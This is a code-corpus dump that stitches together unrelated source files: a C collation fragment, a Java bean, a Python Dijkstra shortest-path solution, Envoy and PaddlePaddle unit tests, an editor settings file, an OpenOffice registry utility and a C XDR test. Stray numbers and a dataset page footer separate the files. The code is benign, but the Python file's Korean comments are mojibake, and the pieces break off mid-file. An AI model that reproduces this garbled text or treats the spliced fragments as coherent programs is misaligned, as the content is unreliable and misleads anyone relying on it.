NU_FOLDING_FUNCTION, nu_casemap_read,
nu_ducet_weight, 0);
}
#endif /* NU_WITH_N_COLLATION */
#endif /* NU_WITH_Z_COLLATION || NU_WITH_N_COLLATION */
| 4,999 |
841 | package com.gzsll.hupu.bean;
/**
* Created by sll on 2015/12/12.
*/
public class BaseError {
public int id;
public String text;
}
| 56 |
407 | <reponame>rhs0266/FastCampus
import heapq
import sys
si = sys.stdin.readline
n = int(si())
m = int(si())
con = [[] for _ in range(n + 1)]
for _ in range(m):
u, v, weight = map(int, si().split())
con[u].append((v, weight))
start, destination = map(int, si().split())
# ๋ชจ๋ ์ ์ ๊น์ง์ ๋ํ ๊ฑฐ๋ฆฌ๋ฅผ ๋ฌดํ๋๋ก ์ด๊ธฐํ ํด์ฃผ๊ธฐ.
# โป์ฃผ์์ฌํญโป
# ๋ฌธ์ ์ ์ ๋ต์ผ๋ก ๊ฐ๋ฅํ ๊ฑฐ๋ฆฌ์ ์ต๋๊ฐ๋ณด๋ค ํฐ ๊ฐ์์ ๋ณด์ฅํด์ผ ํ๋ค.
dist = [1005 * 100000] * (n + 1)
dist[start] = 0
# ์ต์ ํ ์์ฑ
Q = []
heapq.heappush(Q, (0, start))
# ๊ฑฐ๋ฆฌ ์ ๋ณด๋ค์ด ๋ชจ๋ ์์ง๋ ๋๊น์ง ๊ฑฐ๋ฆฌ ๊ฐฑ์ ์ ๋ฐ๋ณตํ๋ค.
while Q:
dist_x, x = heapq.heappop(Q)
# ๊บผ๋ธ ์ ๋ณด๊ฐ ์ต์ ์ ๋ณด๋ ๋ค๋ฅด๋ฉด, ์๋ฏธ์์ด ๋ก์ ์ ๋ณด์ด๋ฏ๋ก ํ๊ธฐํ๋ค.
if dist[x] != dist_x: continue
# ์ฐ๊ฒฐ๋ ๋ชจ๋ ๊ฐ์ ๋ค์ ํตํด์ ๋ค๋ฅธ ์ ์ ๋ค์ ๋ํ ์ ๋ณด๋ฅผ ๊ฐฑ์ ํด์ค๋ค.
for u, weight in con[x]:
# u ๊น์ง ๊ฐ ์ ์๋ ๋ ์งง์ ๊ฑฐ๋ฆฌ๋ฅผ ์ฐพ์๋ค๋ฉด ์ด์ ๋ํ ์ ๋ณด๋ฅผ ๊ฐฑ์ ํ๊ณ PQ์ ๊ธฐ๋กํด์ค๋ค.
if dist[u] > dist[x] + weight:
dist[u] = dist[x] + weight
heapq.heappush(Q, (dist[u], u))
print(dist[destination])
| 833 |
666 | /* Copyright 2019 Istio Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "src/envoy/http/alpn/config.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"
#include "src/envoy/http/alpn/alpn_filter.h"
#include "test/mocks/network/mocks.h"
#include "test/mocks/server/mocks.h"
#include "test/mocks/stream_info/mocks.h"
#include "test/test_common/utility.h"
using testing::_;
using testing::NiceMock;
using testing::Return;
using testing::ReturnRef;
using istio::envoy::config::filter::http::alpn::v2alpha1::FilterConfig;
namespace Envoy {
namespace Http {
namespace Alpn {
namespace {
TEST(AlpnFilterConfigTest, OverrideAlpn) {
const std::string yaml = R"EOF(
alpn_override:
- upstream_protocol: HTTP10
alpn_override: ["foo", "bar"]
- upstream_protocol: HTTP11
alpn_override: ["baz"]
- upstream_protocol: HTTP2
alpn_override: ["qux"]
)EOF";
FilterConfig proto_config;
TestUtility::loadFromYaml(yaml, proto_config);
AlpnConfigFactory factory;
NiceMock<Server::Configuration::MockFactoryContext> context;
Http::FilterFactoryCb cb =
factory.createFilterFactoryFromProto(proto_config, "stats", context);
Http::MockFilterChainFactoryCallbacks filter_callback;
Http::StreamDecoderFilterSharedPtr added_filter;
EXPECT_CALL(filter_callback, addStreamDecoderFilter(_))
.WillOnce(
Invoke([&added_filter](Http::StreamDecoderFilterSharedPtr filter) {
added_filter = std::move(filter);
}));
cb(filter_callback);
EXPECT_NE(dynamic_cast<AlpnFilter *>(added_filter.get()), nullptr);
}
} // namespace
} // namespace Alpn
} // namespace Http
} // namespace Envoy
| 781 |
580 | <reponame>bashmish/polymer-tools<filename>packages/web-component-tester/.vscode/settings.json
// Place your settings in this file to overwrite default and user settings.
{
"clang-format.style": "file",
"editor.formatOnSave": true,
"editor.formatOnType": true,
"files.exclude": {
"runner/*.js": true,
"runner/*.d.ts": true,
"runner/*.js.map": true,
"test/unit/*.js": true,
"test/unit/*.d.ts": true,
"test/unit/*.js.map": true,
"test/integration/*.js": true,
"test/integration/*.d.ts": true,
"test/integration/*.js.map": true,
"browser.js": true,
"browser.js.map": true,
"browser/**/*.js": true,
"browser/**/*.js.map": true
},
"typescript.tsdk": "./node_modules/typescript/lib"
}
| 307 |
17,085 | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import paddle
import unittest
import numpy as np
class BufferLayers(paddle.nn.Layer):
def __init__(self, out_channel):
super(BufferLayers, self).__init__()
self.out_channel = out_channel
def forward(self, x):
mean = paddle.mean(x)
if mean < 0.:
x = x * self._mask()
out = x - mean
return out
def _mask(self):
return paddle.to_tensor(np.zeros([self.out_channel], 'float32'))
class SequentialNet(paddle.nn.Layer):
def __init__(self, sub_layer, in_channel, out_channel):
super(SequentialNet, self).__init__()
self.layer = paddle.nn.Sequential(
('l1', paddle.nn.Linear(in_channel, in_channel)),
('l2', paddle.nn.Linear(in_channel, out_channel)),
('l3', sub_layer(out_channel)))
def forward(self, x):
out = self.layer(x)
return out
class NestSequentialNet(paddle.nn.Layer):
def __init__(self):
super().__init__()
group1 = paddle.nn.Sequential(
paddle.nn.Linear(10, 10),
paddle.nn.Sigmoid(), )
group2 = paddle.nn.Sequential(
paddle.nn.Linear(10, 3),
paddle.nn.ReLU(), )
self.layers = paddle.nn.Sequential(group1, group2)
def forward(self, x):
return self.layers(x)
class TestSequential(unittest.TestCase):
def setUp(self):
paddle.set_device('cpu')
self.seed = 2021
self._init_config()
def _init_config(self):
self.net = SequentialNet(BufferLayers, 10, 3)
self.model_path = './sequential_net'
def _init_seed(self):
paddle.seed(self.seed)
np.random.seed(self.seed)
def _run(self, to_static):
self._init_seed()
if to_static:
self.net = paddle.jit.to_static(self.net)
x = paddle.rand([16, 10], 'float32')
out = self.net(x)
if to_static:
load_out = self._test_load(self.net, x)
self.assertTrue(
np.allclose(load_out, out),
msg='load_out is {}\st_out is {}'.format(load_out, out))
return out
def test_train(self):
paddle.jit.set_code_level(100)
dy_out = self._run(to_static=False)
st_out = self._run(to_static=True)
self.assertTrue(
np.allclose(dy_out, st_out),
msg='dygraph_res is {}\nstatic_res is {}'.format(dy_out, st_out))
def _test_load(self, net, x):
paddle.jit.save(net, self.model_path)
load_net = paddle.jit.load(self.model_path)
out = load_net(x)
return out
class TestNestSequential(TestSequential):
def _init_config(self):
self.net = NestSequentialNet()
self.model_path = './nested_sequential_net'
if __name__ == '__main__':
unittest.main()
| 1,520 |
679 | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
package util;
// access the implementations via names
import com.sun.star.uno.UnoRuntime;
import java.io.PrintWriter ;
import com.sun.star.registry.XRegistryKey ;
import com.sun.star.registry.XSimpleRegistry ;
import com.sun.star.registry.RegistryKeyType ;
import com.sun.star.registry.RegistryValueType ;
import com.sun.star.registry.InvalidRegistryException ;
import com.sun.star.lang.XMultiServiceFactory ;
import com.sun.star.uno.Exception;
public class RegistryTools {
/**
* Creates 'com.sun.star.registry.SimpleRegistry'
* service.
* @param xMSF Multiservice factory.
* @return Service created.
*/
public static XSimpleRegistry createRegistryService
(XMultiServiceFactory xMSF) throws com.sun.star.uno.Exception {
Object oInterface = xMSF.createInstance
("com.sun.star.registry.SimpleRegistry");
return (XSimpleRegistry) UnoRuntime.queryInterface (
XSimpleRegistry.class, oInterface) ;
}
/**
* Opens registry file for reading/writing. If file doesn't
* exist a new one created.
* @param file Registry file name.
* @param xMSF Multiservice factory.
* @return Opened registry.
*/
public static XSimpleRegistry openRegistry
(String file, XMultiServiceFactory xMSF)
throws com.sun.star.uno.Exception {
XSimpleRegistry reg = createRegistryService(xMSF) ;
reg.open(file, false, true) ;
return reg ;
}
/**
* Compares two registry keys, their names, value
* types and values.
* return <code>true</code> if key names, value types
* and values are equal, else returns <code>false</code>.
*/
public static boolean compareKeys
(XRegistryKey key1, XRegistryKey key2) {
if (key1 == null || key2 == null ||
!key1.isValid() || !key2.isValid())
return false ;
String keyName1 = getShortKeyName(key1.getKeyName()) ;
String keyName2 = getShortKeyName(key2.getKeyName()) ;
if (!keyName1.equals(keyName2)) return false ;
try {
if (key1.getValueType() != key2.getValueType()) return false ;
} catch (InvalidRegistryException e) {
return false ;
}
RegistryValueType type ;
try {
type = key1.getValueType() ;
if (type.equals(RegistryValueType.ASCII)) {
if (!key1.getAsciiValue().equals(key2.getAsciiValue()))
return false ;
} else
if (type.equals(RegistryValueType.STRING)) {
if (!key1.getStringValue().equals(key2.getStringValue()))
return false ;
} else
if (type.equals(RegistryValueType.LONG)) {
if (key1.getLongValue() != key2.getLongValue())
return false ;
} else
if (type.equals(RegistryValueType.BINARY)) {
byte[] bin1 = key1.getBinaryValue() ;
byte[] bin2 = key2.getBinaryValue() ;
if (bin1.length != bin2.length)
return false ;
for (int i = 0; i < bin1.length; i++)
if (bin1[i] != bin2[i]) return false ;
} else
if (type.equals(RegistryValueType.ASCIILIST)) {
String[] list1 = key1.getAsciiListValue() ;
String[] list2 = key2.getAsciiListValue() ;
if (list1.length != list2.length)
return false ;
for (int i = 0; i < list1.length; i++)
if (!list1[i].equals(list2[i])) return false ;
} else
if (type.equals(RegistryValueType.STRINGLIST)) {
String[] list1 = key1.getStringListValue() ;
String[] list2 = key2.getStringListValue() ;
if (list1.length != list2.length)
return false ;
for (int i = 0; i < list1.length; i++)
if (!list1[i].equals(list2[i])) return false ;
} else
if (type.equals(RegistryValueType.LONGLIST)) {
int[] list1 = key1.getLongListValue() ;
int[] list2 = key2.getLongListValue() ;
if (list1.length != list2.length)
return false ;
for (int i = 0; i < list1.length; i++)
if (list1[i] != list2[i]) return false ;
}
} catch (Exception e) {
return false ;
}
return true ;
}
/**
* Gets name of the key relative to its parent.
* For example if full name of key is '/key1/subkey'
* short key name is 'subkey'
* @param keyName Full key name.
* @return Short key name.
*/
public static String getShortKeyName(String keyName) {
if (keyName == null) return null ;
int idx = keyName.lastIndexOf("/") ;
if (idx < 0) return keyName ;
else return keyName.substring(idx + 1) ;
}
/**
* Compare all child keys.
* @param compareRoot If <code>true</code> method also
* compare root keys, if <code>false</code> it begins recursive
* comparing from children of root keys.
* @return <code>true</code> if keys and their sub keys are equal.
*/
protected static boolean compareKeyTrees
(XRegistryKey tree1, XRegistryKey tree2, boolean compareRoot) {
if (compareRoot && !compareKeys(tree1, tree2)) return false ;
try {
String[] keyNames1 = tree1.getKeyNames() ;
String[] keyNames2 = tree2.getKeyNames() ;
if (keyNames1 == null && keyNames2 == null) return true ;
if (keyNames1 == null || keyNames2 == null ||
keyNames2.length != keyNames1.length)
return false ;
for (int i = 0; i < keyNames1.length; i++) {
String keyName = getShortKeyName(keyNames1[i]) ;
XRegistryKey key2 = tree2.openKey(keyName) ;
if (key2 == null)
// key with the same name doesn't exist in the second tree
return false ;
if (!tree1.getKeyType(keyName).equals(
tree2.getKeyType(keyName)))
return false ;
if (tree1.getKeyType(keyName).equals(
RegistryKeyType.LINK)) {
if (!getShortKeyName(tree1.getLinkTarget(keyName)).equals(
getShortKeyName(tree2.getLinkTarget(keyName))))
return false ;
} else {
if (compareKeyTrees(tree1.openKey(keyName),
tree2.openKey(keyName), true) == false) return false ;
}
}
} catch (InvalidRegistryException e) {
return false ;
}
return true ;
}
/**
* Compare keys specified and all their child keys.
* @return <code>true</code> if keys and their sub keys are equal.
*/
public static boolean compareKeyTrees
(XRegistryKey tree1, XRegistryKey tree2) {
return compareKeyTrees(tree1, tree2, false) ;
}
/**
* Prints to a specified output about all keys and subkeys information
* (key name, type, value, link target, attributes) recursively.
* @param reg Registry for which information is needed.
* @param out Output stream.
*/
public static void printRegistryInfo(XSimpleRegistry reg, PrintWriter out) {
try {
printRegistryInfo(reg.getRootKey(), out) ;
} catch (com.sun.star.registry.InvalidRegistryException e) {
out.println("!!! Can't open root registry key for info printing") ;
}
}
/**
* Prints to a specified output about all keys and subkeys information
* (key name, type, value, link target, attributes) recursively.
* @param root Key for which subkeys (and further) information is required.
* @param out Output stream.
*/
public static void printRegistryInfo(XRegistryKey root, PrintWriter out) {
if (root == null) {
out.println("/(null)") ;
return ;
}
out.println("/") ;
try {
printTreeInfo(root, out, " ") ;
} catch (com.sun.star.registry.InvalidRegistryException e) {
out.println("Exception accessing registry :") ;
e.printStackTrace(out) ;
}
}
private static void printTreeInfo(XRegistryKey key,
PrintWriter out, String margin)
throws com.sun.star.registry.InvalidRegistryException {
String[] subKeys = key.getKeyNames() ;
if (subKeys == null || subKeys.length == 0) return ;
for (int i = 0; i < subKeys.length; i++) {
printKeyInfo(key, subKeys[i], out, margin) ;
XRegistryKey subKey = key.openKey
(getShortKeyName(subKeys[i])) ;
printTreeInfo(subKey, out, margin + " ") ;
subKey.closeKey() ;
}
}
private static void printKeyInfo(XRegistryKey parentKey,
String keyName, PrintWriter out, String margin)
throws com.sun.star.registry.InvalidRegistryException {
out.print(margin) ;
keyName = getShortKeyName(keyName) ;
XRegistryKey key = parentKey.openKey(keyName) ;
if (key != null)
out.print("/" + getShortKeyName(key.getKeyName()) + " ") ;
else {
out.println("(null)") ;
return ;
}
if (!key.isValid()) {
out.println("(not valid)") ;
return ;
}
if (key.isReadOnly()) {
out.print("(read only) ") ;
}
if (parentKey.getKeyType(keyName) == RegistryKeyType.LINK) {
out.println("(link to " + parentKey.getLinkTarget(keyName) + ")") ;
return ;
}
RegistryValueType type ;
try {
type = key.getValueType() ;
if (type.equals(RegistryValueType.ASCII)) {
out.println("[ASCII] = '" + key.getAsciiValue() + "'") ;
} else
if (type.equals(RegistryValueType.STRING)) {
out.println("[STRING] = '" + key.getStringValue() + "'") ;
} else
if (type.equals(RegistryValueType.LONG)) {
out.println("[LONG] = " + key.getLongValue()) ;
} else
if (type.equals(RegistryValueType.BINARY)) {
out.print("[BINARY] = {") ;
byte[] bin = key.getBinaryValue() ;
for (int i = 0; i < bin.length; i++)
out.print("" + bin[i] + ",") ;
out.println("}") ;
} else
if (type.equals(RegistryValueType.ASCIILIST)) {
out.print("[ASCIILIST] = {") ;
String[] list = key.getAsciiListValue() ;
for (int i = 0; i < list.length; i++)
out.print("'" + list[i] + "',") ;
out.println("}") ;
} else
if (type.equals(RegistryValueType.STRINGLIST)) {
out.print("[STRINGLIST] = {") ;
String[] list = key.getStringListValue() ;
for (int i = 0; i < list.length; i++)
out.print("'" + list[i] + "',") ;
out.println("}") ;
} else
if (type.equals(RegistryValueType.LONGLIST)) {
out.print("[LONGLIST] = {") ;
int[] list = key.getLongListValue() ;
for (int i = 0; i < list.length; i++)
out.print("" + list[i] + ",") ;
out.println("}") ;
} else {
out.println("") ;
}
} catch (com.sun.star.uno.Exception e) {
out.println("Exception occurred : ") ;
e.printStackTrace(out) ;
} finally {
key.closeKey() ;
}
}
// public static void compareKeyTrees
}
| 4,426 |
384 | <gh_stars>100-1000
#include<rpc/rpc.h>
#include<rpc/xdr.h>
int
main()
{
/* This should only compile, not run, so set xd to NULL */
XDR *xd = NULL;
float f;
xdr_float(xd,&f);
return 0;
}
| 97 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.